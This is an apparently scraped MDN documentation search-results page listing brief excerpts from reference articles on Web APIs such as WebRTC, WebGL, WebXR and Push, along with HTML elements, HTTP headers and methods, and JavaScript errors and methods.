...note that this can result in slower response times or increased power consumption (with a gps chip on a mobile device for example).
...And 5 more matches
PublicKeyCredentialCreationOptions - Web APIs
the publickeycredentialcreationoptions dictionary of the web authentication api holds options passed to navigators.credentials.create() in order to create a publickeycredential.
...this value will be signed by the authenticator and the signature will be sent back as part of authenticatorattestationresponse.attestationobject.
... publickeycredentialcreationoptions.timeout optional a numerical hint, in milliseconds, which indicates the time the caller is willing to wait for the creation operation to complete.
...And 5 more matches
PublicKeyCredentialRequestOptions - Web APIs
the publickeycredentialrequestoptions dictionary of the web authentication api holds the options passed to navigator.credentials.get() in order to fetch a given publickeycredential.
...this value will be signed by the authenticator and the signature will be sent back as part of authenticatorassertionresponse.signature.
... publickeycredentialrequestoptions.timeout optional a numerical hint, in milliseconds, which indicates the time the caller is willing to wait for the retrieval operation to complete.
...And 5 more matches
PushManager.subscribe() - Web APIs
it can have the following properties: uservisibleonly: a boolean indicating that the returned push subscription will only be used for messages whose effect is made visible to the user.
... applicationserverkey: a base64-encoded domstring or arraybuffer containing an ecdsa p-256 public key that the push server will use to authenticate your application server.
... if specified, all messages from your application server must use the vapid authentication scheme, and include a jwt signed with the corresponding private key.
...And 5 more matches
PushManager - Web APIs
the pushmanager interface of the push api provides a way to receive notifications from third-party servers as well as request urls for push notifications.
... properties pushmanager.supportedcontentencodings returns an array of supported content codings that can be used to encrypt the payload of a push message.
... deprecated methods pushmanager.haspermission() returns a promise that resolves to the pushpermissionstatus of the requesting webapp, which will be one of granted, denied, or default.
...And 5 more matches
RTCConfiguration.bundlePolicy - Web APIs
the rtcconfiguration dictionary's bundlepolicy property is a string value indicating which sdp bundling policy, if any, to use for the underlying rtp streams used by an rtcpeerconnection.
...this string, which must be a member of the rtcbundlepolicy enumeration, has the following possible values: balanced the ice agent begins by creating one rtcdtlstransport to handle each type of content added: one for audio, one for video, and one for the rtc data channel, if applicable.
...if the remote endpoint can't handle bundling, each media track is negotiated on its own separate transport.
...And 5 more matches
RTCDTMFSender.toneBuffer - Web APIs
to place tones into the buffer, call insertdtmf().
... tone buffer format the tone buffer is a string which can contain any combination of the characters that are permitted by the dtmf standard.
...lower-case "a"-"d" automatically gets converted to upper-case.
...And 5 more matches
RTCDTMFSender - Web APIs
the primary purpose for webrtc's dtmf support is to allow webrtc-based communication clients to be connected to a public-switched telephone network (pstn) or other legacy telephone service, including extant voice over ip (voip) services.
... for that reason, dtmf can't be used between two webrtc-based devices, because there is no mechanism provided by webrtc for receiving dtmf codes.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/rtc...
...And 5 more matches
RTCDataChannel.close() - Web APIs
either peer is permitted to call this method to initiate closure of the channel.
...most of the process of closing the connection is handled asynchronously; you can detect when the channel has finished closing by watching for a close event on the data channel.
... the sequence of events which occurs in response to this method being called: rtcdatachannel.readystate is set to "closing".
...And 5 more matches
RTCDataChannel: error event - Web APIs
bubbles yes cancelable no interface rtcerrorevent event handler property onerror the rtcerrorevent object provides details about the error that occurred; see that article for details.
... examples // strings for each of the sctp cause codes found in rfc // 4960, section 3.3.10: // https://tools.ietf.org/html/rfc4960#section-3.3.10 const sctpcausecodes = [ "no sctp error", "invalid stream identifier", "missing mandatory parameter", "stale cookie error", "sender is out of resource (i.e., memory)", "unable to resolve address", "unrecognized sctp chunk type received", "invalid mandatory parameter", "unrecognized parameters", "no user data (sctp data chunk has no data)", "cookie received while shutting down", "restart of an association with new addresses", "user-initiated abort", "protocol violation" ]; dc.addeventlistener("error", ev => { const err = ev.error; console.error("webrtc error: ", err.message); // handle specific error detail ty...
...pes switch(err.errordetail) { case "sdp-syntax-error": console.error(" sdp syntax error in line ", err.sdplinenumber); break; case "idp-load-failure": console.error(" identity provider load failure: http error ", err.httprequeststatuscode); break; case "sctp-failure": if (err.sctpcausecode < sctpcausecodes.length) { console.error(" sctp failure: ", err.sctpcausecode); } else { console.error(" unknown sctp error"); } break; case "dtls-failure": if (err.receivedalert) { console.error(" received dlts failure alert: ", err.receivedalert); } if (err.sentalert) { console.error(" sent dlts failure alert: ", err.receivedalert); } break...
...And 5 more matches
RTCDataChannel.send() - Web APIs
this can be done any time except during the initial process of creating the underlying transport channel.
... different browsers have different limitations on the size of the message you can send.
... specifications exist to define how to automatically fragment large messages, but not all browsers implement them, and those that do have various additional restrictions.
...And 5 more matches
RTCError - Web APIs
WebAPIRTCError
receivedalert read only an unsigned long integer value indicating the fatal dtls error which was received from the network.
... sctpcausecode read only if errordetail is sctp-failure, this property is a long integer specifying the sctp cause code indicating the cause of the failed sctp negotiation.
... sentalert read only if errordetail is dtls-failure, this property is an unsigned long integer indicating the fatal dtls error that was sent out by this device.
...And 5 more matches
RTCErrorEvent.error - Web APIs
receivedalert read only an unsigned long integer value indicating the fatal dtls error which was received from the network.
... sctpcausecode read only if errordetail is sctp-failure, this property is a long integer specifying the sctp cause code indicating the cause of the failed sctp negotiation.
... sentalert read only if errordetail is dtls-failure, this property is an unsigned long integer indicating the fatal dtls error that was sent out by this device.
...And 5 more matches
RTCIceCredentialType - Web APIs
the webrtc api's rtcicecredentialtype enumerated string type defines the authentication method used to gain access to an ice server identified by an rtciceserver object.
... values oauth the rtciceserver requires the use of oauth 2.0 to authenticate in order to use the ice server described.
...this property was formerly called token.
...And 5 more matches
RTCInboundRtpStreamStats.firCount - Web APIs
the fircount property of the rtcinboundrtpstreamstats dictionary indicates the number of full intra request (fir) packets have been sent by the receiver to the sender.
... the receiver sends a fir packet when the stream falls behind and needs to skip frames in order to catch up.
... syntax var fircount = rtcinboundrtpstreamstats.fircount; value an integer value indicating how many fir packets have been received by the sender during the current connection.
...And 5 more matches
RTCOutboundRtpStreamStats.firCount - Web APIs
the fircount property of the rtcoutboundrtpstreamstats dictionary indicates the number of full intra request (fir) that the remote rtcrtpreceiver has sent to this rtcrtpsender.
... a fir packet is sent when the receiver finds that it has fallen behind and needs to skip frames in order to catch up; the sender should respond by sending a full frame instead of a delta frame.
... syntax var fircount = rtcoutboundrtpstreamstats.fircount; value an integer value indicating how many fir packets have been received by the sender during the current connection.
...And 5 more matches
RTCPeerConnection.iceGatheringState - Web APIs
this lets you detect, for example, when collection of ice candidates has finished.
... you can detect when the value of this property changes by watching for an event of type icegatheringstatechange.
...you can detect when this value changes by watching for an event of type icegatheringstatechange.
...And 5 more matches
RTCPeerConnection: icegatheringstatechange event - Web APIs
the icegatheringstatechange event is sent to the onicegatheringstatechange event handler on an rtcpeerconnection when the state of the ice candidate gathering process changes.
... when ice firststarts to gather connection candidates, the value changes from new to gathering to indicate that the process of collecting candidate configurations for the connection has begun.
... when the value changes to complete, all of the transports that make up the rtcpeerconnection have finished gathering ice candidates.
...And 5 more matches
RTCPeerConnection: negotiationneeded event - Web APIs
this occurs both during the initial setup of the connection as well as any time a change to the communication environment requires reconfiguring the connection.
... bubbles no cancelable no interface event event handler property rtcpeerconnection.onnegotiationneeded the negotiationneeded event is first dispatched to the rtcpeerconnection when media is first added to the connection.
... this starts the process of ice negotiation by instructing your code to begin exchanging ice candidates through the signaling server.
...And 5 more matches
RTCPeerConnectionIceErrorEvent - Web APIs
the rtcpeerconnectioniceerrorevent interface—based upon the event interface—provides details pertaining to an ice error announced by sending an icecandidateerror event to the rtcpeerconnection object.
... properties the rtcpeerconnectioniceerrorevent interface includes the properties found on the event interface, as well as the following properties: address read only a domstring providing the local ip address used to communicate with the stun or turn server being used to negotiate the connection, or null if the local ip address has not yet been exposed as part of a local ice candidate.
...if no host candidate can reach the server, this property is set to the number 701, which is outside the range of valid stun error codes.
...And 5 more matches
RTCRtpSender.setParameters() - Web APIs
priority a string from the rtcprioritytype enumerated type which indicates the encoding's priority.
... transactionid a string containing a unique id for the last set of parameters applied; this value is used to ensure that setparameters() can only be called to alter changes made by a specific previous call to getparameters().
... invalidmodificationerror one of the following problems was detected: the number of encodings specified in the parameters object's encodings property does not match the number of encodings currently listed for the rtcrtpsender.
...And 5 more matches
RTCRtpSender - Web APIs
with it, you can configure the encoding used for the corresponding track, get information about the device's media capabilities, and so forth.
... you can also obtain access to an rtcdtmfsender which can be used to send dtmf codes (to simulate the user pressing buttons on a telephone's dial pad) to the remote peer.
... properties rtcrtpsender.dtmf read only an rtcdtmfsender which can be used to send dtmf tones using telephone-event payloads on the rtp session represented by the rtcrtpsender object.
...And 5 more matches
RTCRtpStreamStats.sliCount - Web APIs
the slicount property of the rtcrtpstreamstats dictionary indicates how many slice loss indication (sli) packets were received by the sender.
... syntax var slicount = rtcrtpstreamstats.slicount; value an unsigned long integer indicating the number of sli packets the sender received from the receiver due to lost runs of macroblocks.
... a high value of slicount may be an indication of an unreliable network.
...And 5 more matches
ReadableStream.pipeTo() - Web APIs
available options are: preventclose: if this is set to true, the source readablestream closing will no longer cause the destination writablestream to be closed.
... the method will return a fulfilled promise once this process completes, unless an error is encountered while closing the destination in which case it will be rejected with that error.
... preventcancel: if this is set to true, errors in the destination writablestream will no longer cancel the source readablestream.
...And 5 more matches
Request - Web APIs
WebAPIRequest
you can create a new request object using the request() constructor, but you are more likely to encounter a request object being returned as the result of another api operation, such as a service worker fetchevent.request.
... properties request.cache read only contains the cache mode of the request (e.g., default, reload, no-cache).
...this is a string indicating the type of content being requested.
...And 5 more matches
Resize Observer API - Web APIs
the resize observer api provides a performant mechanism by which code can monitor an element for changes to its size, with notifications being delivered to the observer each time the size changes.
... concepts and usage there are a whole raft of use cases for responsive design techniques (and others besides) that respond to changes in an element's size, but previously their implementations have often been hacky and/or brittle.
... such a solution tends to only work for limited use cases, be bad for performance (continually calling the above methods would result in a big performance hit), and often won't work when the browser window size is not changed.
...And 5 more matches
SVGPointList - Web APIs
an svgpointlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
... exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only.
... exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only.
...And 5 more matches
SVGStringList - Web APIs
an svgstringlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
... exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only.
... exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only.
...And 5 more matches
Screen.availHeight - Web APIs
you can similarly use screen.availwidth to get the number of pixels which are horizontally available to the browser for its use.
... syntax let availheight = window.screen.availheight; value a numeric value indicating the number of css pixels tall the screen's available space is.
... this can be no larger than the value of window.screen.height, and will be less if the device or user agent reserves any vertical space for itself.
...And 5 more matches
ShadowRoot - Web APIs
you can retrieve a reference to an element's shadow root using its element.shadowroot property, provided it was created using element.attachshadow() with the mode option set to open.
... properties shadowroot.delegatesfocus read only returns a boolean that indicates whether delegatesfocus was set when the shadow was attached (see element.attachshadow()).
... documentorshadowroot.getselection() returns a selection object representing the range of text selected by the user, or the current position of the caret.
...And 5 more matches
SpeechRecognition - Web APIs
speechrecognition.serviceuri specifies the location of the speech recognition service used by the current speechrecognition to handle the actual recognition.
... speechrecognition.stop() stops the speech recognition service from listening to incoming audio, and attempts to return a speechrecognitionresult using the audio captured so far.
... audiostart fired when the user agent has started to capture audio.
...And 5 more matches
Storage - Web APIs
WebAPIStorage
the storage interface of the web storage api provides access to a particular domain's session or local storage.
... it allows, for example, the addition, modification, or deletion of stored data items.
... to manipulate, for instance, the session storage for a domain, a call to window.sessionstorage is made; whereas for local storage the call is made to window.localstorage.
...And 5 more matches
SubtleCrypto.verify() - Web APIs
it returns a promise which will be fulfilled with a boolean value indicating whether the signature is valid.
...the values given for the extra parameters must match those passed into the corresponding sign() call.
... examples note: you can try the working examples out on github.
...And 5 more matches
TextTrack.mode - Web APIs
WebAPITextTrackmode
you can read this value to determine the current mode, and you can change this value to switch modes.
... syntax var mode = texttrack.mode; texttrack.mode = "disabled" | "hidden" | "showing"; value a domstring which indicates the track's current mode.
...this is the default value, unless the text track has the default boolean attribute is specified, in which case the default is showing.
...And 5 more matches
Using the User Timing API - Web APIs
the user timing interface allows the developer to create application specific timestamps that are part of the browser's performance timeline.
... mark events are named by the application and can be set at any location in an application.
... measure events are also named by the application but they are placed between two marks thus they are effectively a midpoint between two marks.
...And 5 more matches
WebGL2RenderingContext.getActiveUniformBlockParameter() - Web APIs
possible values: gl.uniform_block_binding: returns a gluint indicating the uniform buffer binding point.
... gl.uniform_block_data_size: returns a gluint indicating the minimum total buffer object size.
... gl.uniform_block_active_uniforms: returns a gluint indicating the number of active uniforms in the uniform block.
...And 5 more matches
WebGL2RenderingContext - Web APIs
the webgl2renderingcontext interface provides the opengl es 3.0 rendering context for the drawing surface of an html <canvas> element.
... to get an object of this interface, call getcontext() on a <canvas> element, supplying "webgl2" as the argument: var canvas = document.getelementbyid('mycanvas'); var gl = canvas.getcontext('webgl2'); webgl 2 is an extension to webgl 1.
...some methods of the webgl 1 context can accept additional values when used in a webgl 2 context.
...And 5 more matches
WebGLRenderingContext.blendFuncSeparate() - Web APIs
syntax void gl.blendfuncseparate(srcrgb, dstrgb, srcalpha, dstalpha); parameters srcrgb a glenum specifying a multiplier for the red, green and blue (rgb) source blending factors.
... srcalpha a glenum specifying a multiplier for the alpha source blending factor.
... exceptions if srcrgb, dstrgb, srcalpha, or dstalpha is not one of the listed possible values, a gl.invalid_enum error is thrown.
...And 5 more matches
WebGLRenderingContext.checkFramebufferStatus() - Web APIs
return value a glenum indicating the completeness status of the framebuffer or 0 if an error occurs.
... when using a webgl 2 context, the following values can be returned additionally: gl.framebuffer_incomplete_multisample: the values of gl.renderbuffer_samples are different among attached renderbuffers, or are non-zero if the attached images are a mix of renderbuffers and textures.
... when using the ovr_multiview2 extension, the following value can be returned additionally: ext.framebuffer_incomplete_view_targets_ovr: if baseviewindex is not the same for all framebuffer attachment points where the value of framebuffer_attachment_object_type is not none, the framebuffer is considered incomplete.
...And 5 more matches
WebGLRenderingContext.getRenderbufferParameter() - Web APIs
possible values: gl.renderbuffer_width: returns a glint indicating the width of the image of the currently bound renderbuffer.
... gl.renderbuffer_height: returns a glint indicating the height of the image of the currently bound renderbuffer.
... gl.renderbuffer_internal_format: returns a glenum indicating the internal format of the currently bound renderbuffer.
...And 5 more matches
Clearing by clicking - Web APIs
every time the user clicks the canvas or the button, the canvas is cleared with a new randomly chosen color.
... note how we embed the webgl function calls inside the event handler function.
... <p>a very simple webgl program that still shows some color and user interaction.</p> <p>you can repeatedly click the empty canvas or the button below to change color.</p> <canvas id="canvas-view">your browser does not seem to support html5 canvas.</canvas> <button id="color-switcher">press here to switch color</button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : inline-block; font-size : inherit; margin : auto; padding : 0.6em; } window.addeventlistener("load", function setupwebgl (evt) { "use strict" // cleaning after ourselves.
...And 5 more matches
Detect WebGL - Web APIs
to that end we will try to obtain the webgl rendering context from a canvas element.
... the webgl rendering context is an interface, through which you can set and query the state of the graphics machine, send data to the webgl, and execute draw commands.
...this is also done in other graphics {̣{glossary("api")}}, such as the canvas 2d rendering context.
...And 5 more matches
Window.close() - Web APIs
WebAPIWindowclose
the window.close() method closes the current window, or the window on which it was called.
... this method can only be called on windows that were opened by a script using the window.open() method.
... note also that close() has no effect when called on window objects returned by htmliframe​element​.content​window.
...And 5 more matches
window.dump() - Web APIs
WebAPIWindowdump
output can be sent to the browser console using console.log().
... privileged code can also use components.utils.reporterror and nsiconsoleservice to log messages to the error console/browser console.
...note that dump output from xpcom components goes to stderr, while dump called elsewhere will output to stdout.
...And 5 more matches
Window.requestFileSystem() - Web APIs
it has even been removed from the proposed specification.
... window.requestfilesystem(type, size, successcallback[, errorcallback]); parameters type the type of storage to request.
... size the amount of storage space you wish to have allocated for your app's use.
...And 5 more matches
WindowEventHandlers.onhashchange - Web APIs
the hashchange event fires when a window's hash changes (see window.location and htmlhyperlinkelementutils.hash).
... function locationhashchanged() { if (location.hash === '#cool-feature') { console.log("you're visiting a cool feature!"); } } window.onhashchange = locationhashchanged; using an event listener this example uses an event listener to log a notification whenever the hash has changed.
... function hashhandler() { console.log('the hash has changed!'); } window.addeventlistener('hashchange', hashhandler, false); overriding the hash this function sets a new hash dynamically, setting it randomly to one of two values.
...And 5 more matches
Worker() - Web APIs
WebAPIWorkerWorker
though gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) and later accept data uris, that's not the case in all other browsers.
... options optional an object containing option properties that can be set when creating the object instance.
...the value can be classic or module.
...And 5 more matches
WritableStream.getWriter() - Web APIs
while the stream is locked, no other writer can be acquired until this one is released.
...it then calls a function called sendmessage(), passing the newly created stream and a string.
... inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter.
...And 5 more matches
XRInputSource.handedness - Web APIs
the read-only xrinputsource property handedness indicates which of the user's hands the webxr input source is associated with, or if it's not associated with a hand at all.
... syntax let hand = xrinputsource.handedness; value a domstring indicating whether the input controller is held in one of the user's hands, and if it is, which hand.
...this may indicate, for example, an input source which isn't hand-held, such as controls built into a headset or an input device attached to the head or body.
...And 5 more matches
XRInputSource.targetRayMode - Web APIs
the read-only xrinputsource property targetraymode indicates the method by which the target ray for the input source should be generated and how it should be presented to the user.
... syntax let raymode = xrinputsource.targetraymode; value a domstring taken from the xrtargetraymode enumerated type, indicating which method to use when generating and presenting the target ray to the user.
... screen the direction of the target ray is indicated using a tap on a touch screen, mouse, or other tactile input device.
...And 5 more matches
XRPermissionDescriptor - Web APIs
mode an xrsessionmode value indicating the xr mode (inline, immersive-vr, or immersive-ar) for which the permissions are requested.
... examples the example below demonstrates performing the permission request for an application that requires the local-floor reference space in an immersive-vr environment.
... if the permissions api is found to be available (by checking to see if navigator.permissions is defined), its query() method is called, specifying the permission descriptor we've established, xrpermissiondesc.
...And 5 more matches
XRRigidTransform() - Web APIs
syntax let xrrigidtransform = new xrrigidtransform(position, orientation); parameters position optional an object conforming to dompointinit which specifies the coordinates at which the point or object is located.
... return value a new xrrigidtransform object which has been initialized to represent a transform matrix that would adjust the position and orientation of an object from the origin to the specified position and facing in the direction indicated by orientation.
... let animationframerequestid = 0; xrsession.requestreferencespace("local-floor") .then((refspace) => { xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform(viewerposition, viewerorientation)); animationframerequestid = xrsession.requestanimationframe(drawframe); }); after requesting a reference space of type local-floor, the returned promise is eventually resolved, at which time we receive a new reference space object, refspace.
...And 5 more matches
XRSession.updateRenderState() - Web APIs
depthnear optional a floating-point value indicating the distance in meters from the viewer to a plane parallel to the display surface to be the near clip plane.
... inlineverticalfieldofview optional a floating-point value indicating the default field of view, in radians, to be used when computing the projection matrix for an inline xrsession.
... the projection matrix calculation also takes into account the output canvas's aspect ratio.
...And 5 more matches
Using the aria-describedby attribute - Accessibility
description the aria-describedby attribute is used to indicate the ids of the elements that describe the object.
...the examples section below provides more information about how to use the attribute in these cases.
... this attribute can be used with any typical html form element; it is not limited to elements that have an aria role assigned.
...And 5 more matches
ARIA: alert role - Accessibility
the alert role can be used to tell the user an element has been dynamically updated.
... description one of the five live region roles, the alert role is used to provide the user with important, and usually time-sensitive, information, and often to tell the user an element has been dynamically updated.
... the alert role is added to the node containing an alert message, not the element causing the alert to be triggered.
...And 5 more matches
Graphics on the Web - Developer guides
websites and applications often need to present graphics, such as images.
... static images can easily be displayed using the <img> element, or by setting the background of html elements using the background-image property.
... you can also construct graphics on-the-fly, or manipulate images after the fact.
...And 5 more matches
<cite>: The Citation element - HTML: Hypertext Markup Language
WebHTMLElementcite
content categories flow content, phrasing content, palpable content.
... usage notes in the context of the <cite> element, a creative work that might be cited could be, for example, one of the following: a book a research paper an essay a poem a musical score a song a play or film script a film a television show a game a sculpture a painting a theatrical production a play an opera a musical an exhibition a legal case report a computer program a web site a web page a blog post or comment a forum post or comment a tweet a facebook post a written or oral statement and so forth.
... it's worth noting that the w3c specification says that a reference to a creative work, as included within a <cite> element, may include the name of the work’s author.
...And 5 more matches
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementcontent
it has now been replaced by the <slot> element, which creates a point in the dom at which a shadow dom can be inserted.
... note: though present in early draft of the specifications and implemented in several browsers, this element has been removed in later versions of the spec, and should not be used.
... it is documented here to assist in adapting code written during the time it was included in the spec to work with newer versions of the specification.
...And 5 more matches
<element>: The Custom Element element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementelement
the obsolete html <element> element was part of the web components specification; it was intended to be used to define new custom dom elements.
... note: this element has been removed from the specification.
... see this for more information from the editor of the specification.
...And 5 more matches
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
WebHTMLElementfieldset
as the example above shows, the <fieldset> element provides a grouping for a part of an html form, with a nested <legend> element providing a caption for the <fieldset>.
... it takes few attributes, the most notable of which are form, which can contain the id of a <form> on the same page, allowing you to make the <fieldset> part of that <form> even if it is not nested inside it, and disabled, which allows you to disable the <fieldset> and all its contents in one go.
... note: the caption for the fieldset is given by the first <legend> element nested inside it.
...And 5 more matches
<samp>: The Sample Output element - HTML: Hypertext Markup Language
WebHTMLElementsamp
its contents are typically rendered using the browser's default monospaced font (such as courier or lucida console).
... content categories flow content, phrasing content, palpable content.
... usage notes you can use a css rule to override the browser's default font face for the <samp> element; however, it's possible that the browser's preferences may take precedence over any css you specify.
...And 5 more matches
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
WebHTMLElementsource
content categories none.
... srcset a list of one or more strings separated by commas indicating a set of possible images represented by the source for the browser to use.
... if the type attribute isn't specified, the media's type is retrieved from the server and checked to see if the user agent can handle it; if it can't be rendered, the next <source> is checked.
...And 5 more matches
<spacer> - HTML: Hypertext Markup Language
WebHTMLElementspacer
it was devised by netscape to accomplish the same effect as a single-pixel layout image, which was something web designers used to use to add white spaces to web pages without actually using an image.
... however, <spacer> no longer supported by any major browser and the same effects can now be achieved using simple css.
... firefox, which is the descendant of netscape's browsers, removed support for <spacer> in version 4.
...And 5 more matches
class - HTML: Hypertext Markup Language
the class global attribute is a space-separated list of the case-sensitive classes of the element.
... though the specification doesn't put requirements on the name of classes, web developers are encouraged to use names that describe the semantic purpose of the element, rather than the presentation of the element.
...semantic names remain logical even if the presentation of the page changes.
...And 5 more matches
contenteditable - HTML: Hypertext Markup Language
the contenteditable global attribute is an enumerated attribute indicating if the element should be editable by the user.
... the attribute must take one of the following values: true or an empty string, which indicates that the element is editable.
... false, which indicates that the element is not editable.
...And 5 more matches
hidden - HTML: Hypertext Markup Language
the hidden global attribute is a boolean attribute indicating that the element is not yet, or is no longer, relevant.
... for example, it can be used to hide elements of the page that can't be used until the login process has been completed.
... hidden elements shouldn't be linked from non-hidden elements, and elements that are descendants of a hidden element are still active, which means that script elements can still execute and form elements can still submit.
...And 5 more matches
itemid - HTML: Hypertext Markup Language
an itemid attribute can only be specified for an element that has both itemscope and itemtype attributes.
... also, itemid can only be specified on elements that possess an itemscope attribute whose corresponding itemtype refers to or defines a vocabulary that supports global identifiers.
... the exact meaning of an itemtype's global identifier is provided by the definition of that identifier within the specified vocabulary.
...And 5 more matches
title - HTML: Hypertext Markup Language
some typical uses: labeling <iframe> elements for assistive technology providing a programmatically associated label for an <input> element as a fallback for a real <label> labeling controls in data tables additional semantics are attached to the title attributes of the <link>, <abbr>, <input>, and <menuitem> elements.
...some caution must be taken, as this means the following renders across two lines: html <p>newlines in <code>title</code> should be taken into account, like <abbr title="this is a multiline title">example</abbr>.</p> result title attribute inheritance if an element has no title attribute, then it inherits it from its parent node, which in turn may inherit it from its parent, and so on.
...if a tooltip effect is desired, it is better to use a more accessible technique that can be accessed with the above browsing methods.
...And 5 more matches
Inline elements - HTML: Hypertext Markup Language
html (hypertext markup language) elements historically were categorized as either "block-level" elements or "inline-level" elements.
...because the <span> element is inline, the paragraph correctly renders as a single, unbroken text flow, like this: for looks, this css (not displayed in standard reading mode) is also used: body { margin: 0; padding: 4px; border: 1px solid #333; } .highlight { background-color:#ee3; } block-level now let's change that <span> into a block-level element, such as <p>: <div>the following ...
... changing element levels you can change the visual presentation of an element using the css display property.
...And 5 more matches
Basics of HTTP - HTTP
http is an extensible protocol that relies on concepts like resources and uniform resource identifiers (uris), simple message structure, and client-server communication flow.
... resources and uris a brief introduction to the concept of resources, identifiers, and locations on the web.
... identifying resources on the web describes how web resources are referenced and how to locate them.
...And 5 more matches
Alt-Svc - HTTP
WebHTTPHeadersAlt-Svc
the alt-svc http response header is used to advertise alternative services through which the same resource can be reached.
... syntax alt-svc: clear alt-svc: <protocol-id>=<alt-authority>; ma=<max-age> alt-svc: <protocol-id>=<alt-authority>; ma=<max-age>; persist=1 clear the special value ''clear" indicates that the origin requests all alternatives for that origin to be invalidated.
...alternative service entries can be cached for up to <max-age> seconds, minus the age of the response (from the age header).
...And 5 more matches
CSP: frame-ancestors - HTTP
syntax one or more sources can be set for the frame-ancestors policy: content-security-policy: frame-ancestors <source>; content-security-policy: frame-ancestors <source> <source>; sources <source> can be one of the following: the frame-ancestors directive’s syntax is similar to a source list of other directives (e.g.
...the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...you can also specify data schemes (not recommended).
...And 5 more matches
Server-Timing - HTTP
the server-timing header communicates one or more metrics and descriptions for a given request-response cycle.
... header type response header forbidden header name no syntax the syntax of the server-timing header allows you to communicate metrics in different ways: server metric name only, metric with value, metric with value and description, and metric with description.
... the specification advices that names and descriptions should be kept as short as possible (use abbreviations and omit optional values where possible) to minimize the http overhead.
...And 5 more matches
Transfer-Encoding - HTTP
each segment of a multi-node connection can use different transfer-encoding values.
... when present on a response to a head request that has no body, it indicates the value that would have applied to the corresponding get message.
... header type response header forbidden header name yes syntax transfer-encoding: chunked transfer-encoding: compress transfer-encoding: deflate transfer-encoding: gzip transfer-encoding: identity // several values can be listed, separated by a comma transfer-encoding: gzip, chunked directives chunked data is sent in a series of chunks.
...And 5 more matches
Upgrade - HTTP
WebHTTPHeadersUpgrade
the http 1.1 (only) upgrade header can be used to upgrade an already established client/server connection to a different protocol (over the same transport protocol).
... for example, it can be used by a client to upgrade a connection from http 1.1 to http 2.0, or an http or https connection into a websocket.
... for example, the client might send a get request as shown, listing the preferred protocols to switch to (in this case "example/1" and "foo/2"): get /index.html http/1.1 host: www.example.com connection: upgrade upgrade: example/1, foo/2 note: connection: upgrade must be set whenever upgrade is sent.
...And 5 more matches
PATCH - HTTP
WebHTTPMethodsPATCH
the http patch request method applies partial modifications to a resource.
... a patch is not necessarily idempotent, although it can be.
...the word "idempotent" means that any number of repeated, identical requests will leave the resource in the same state.
...And 5 more matches
POST - HTTP
WebHTTPMethodsPOST
the type of the body of the request is indicated by the content-type header.
... the difference between put and post is that put is idempotent: calling it once or several times successively has the same effect (that is no side effect), where successive identical post may have additional effects, like passing an order several times.
... a post request is typically sent via an html form and results in a change on the server.
...And 5 more matches
HTTP request methods - HTTP
WebHTTPMethods
http defines a set of request methods to indicate the desired action to be performed for a given resource.
... although they can also be nouns, these request methods are sometimes referred to as http verbs.
...a request method can be safe, idempotent, or cacheable.
...And 5 more matches
CSS Houdini
houdini is a group of apis that give developers direct access to the css object model (cssom), enabling developers to write code the browser can parse as css, thereby creating new css features without waiting for them to be implemented natively in browsers.
...with worklets, you can create modular css, requiring a single line of javascript to import configureable components: no pre-processors, post-processors or javascript frameworks needed.
...the css working group does a lot of work to ensure every feature is performant, handles all edge cases, and considers security, privacy, and accessibility.
...And 5 more matches
Loops and iteration - JavaScript
you can think of a loop as a computerized version of the game where you tell someone to take x steps in one direction, then y steps in another.
...this expression can also declare variables.
... <form name="selectform"> <p> <label for="musictypes">choose some music types, then click the button below:</label> <select id="musictypes" name="musictypes" multiple="multiple"> <option selected="selected">r&b</option> <option>jazz</option> <option>blues</option> <option>new age</option> <option>classical</option> <option>opera</option> </select> </p> <p><input id="btn" type="button" value="how many are selected?" /></p> </form> <script> function howmany(selectobject) { let numberselected = 0; for (let i = 0; i < selectobject.options.length; i++) { if (selectobject.options[i].selected) { numberselected++; } } return numberselected; } let btn = document.getele...
...And 5 more matches
static - JavaScript
static methods aren't called on instances of the class.
... instead, they're called on the class itself.
... that a class with a static member can be sub-classed.
...And 5 more matches
TypeError: "x" is not a function - JavaScript
the javascript exception "is not a function" occurs when there was an attempt to call a value from a function, but the value is not actually a function.
... it attempted to call a value from a function, but the value is not actually a function.
...maybe the object you are calling the method on does not have this function?
...And 5 more matches
TypeError: Reduce of empty array with no initial value - JavaScript
these functions optionally take an initialvalue (which will be used as the first argument to the first call of the callback).
...this error is raised when an empty array is provided because no initial value can be returned in that case.
... examples invalid cases this problem appears frequently when combined with a filter (array.prototype.filter(), typedarray.prototype.filter()) which will remove all elements of the list.
...And 5 more matches
Array.prototype.includes() - JavaScript
note: when comparing strings and characters, includes() is case-sensitive.
... return value a boolean which is true if the value valuetofind is found within the array (or the part of the array indicated by the index fromindex, if specified).
... note: technically speaking, includes() uses the samevaluezero algorithm to determine whether the given element is found.
...And 5 more matches
Atomics - JavaScript
